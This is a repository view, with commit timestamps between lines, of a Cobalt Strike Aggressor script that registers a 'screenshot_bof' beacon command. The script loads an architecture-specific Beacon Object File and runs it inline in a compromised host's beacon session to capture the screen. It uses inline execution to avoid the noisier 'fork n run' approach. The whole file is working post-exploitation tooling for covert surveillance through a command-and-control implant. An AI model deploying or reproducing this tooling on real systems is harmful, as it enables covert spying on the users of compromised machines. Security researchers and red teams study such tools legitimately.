ScreenshotBOF/bin/BOF/screenshotBOF.cna

29 lines
818 B
Plaintext
Raw Normal View History

2022-10-23 01:58:24 -07:00
#Register command
beacon_command_register(
"screenshot_bof",
"Alternative screenshot capability that does not do fork n run",
"Synopsis: screenshot_bof"
);
alias screenshot_bof {
2022-11-01 03:32:38 -07:00
local('$barch $handle $data $args $target_pid');
if (size(@_) != 2)
{
berror($1, "Please specify a filename. e.g. screenshot_bof screen.bmp");
return;
}
2022-10-23 01:58:24 -07:00
# figure out the arch of this session
2022-11-01 03:32:38 -07:00
$barch = barch($1);
2022-10-23 01:58:24 -07:00
# read in the right BOF file
2022-10-25 09:28:47 -07:00
$handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj"));
2022-10-23 01:58:24 -07:00
$data = readb($handle, -1);
closef($handle);
2022-10-25 09:28:47 -07:00
2022-11-01 03:32:38 -07:00
$args = bof_pack($1, "z",$2);
2022-10-23 01:58:24 -07:00
# announce what we're doing
2022-11-01 03:32:38 -07:00
btask($1, "Running screenshot BOF by (@codex_tf2)");
2022-10-23 01:58:24 -07:00
# execute it.
2022-11-01 03:32:38 -07:00
beacon_inline_execute($1, $data, "go", $args);
2022-10-25 09:28:47 -07:00
}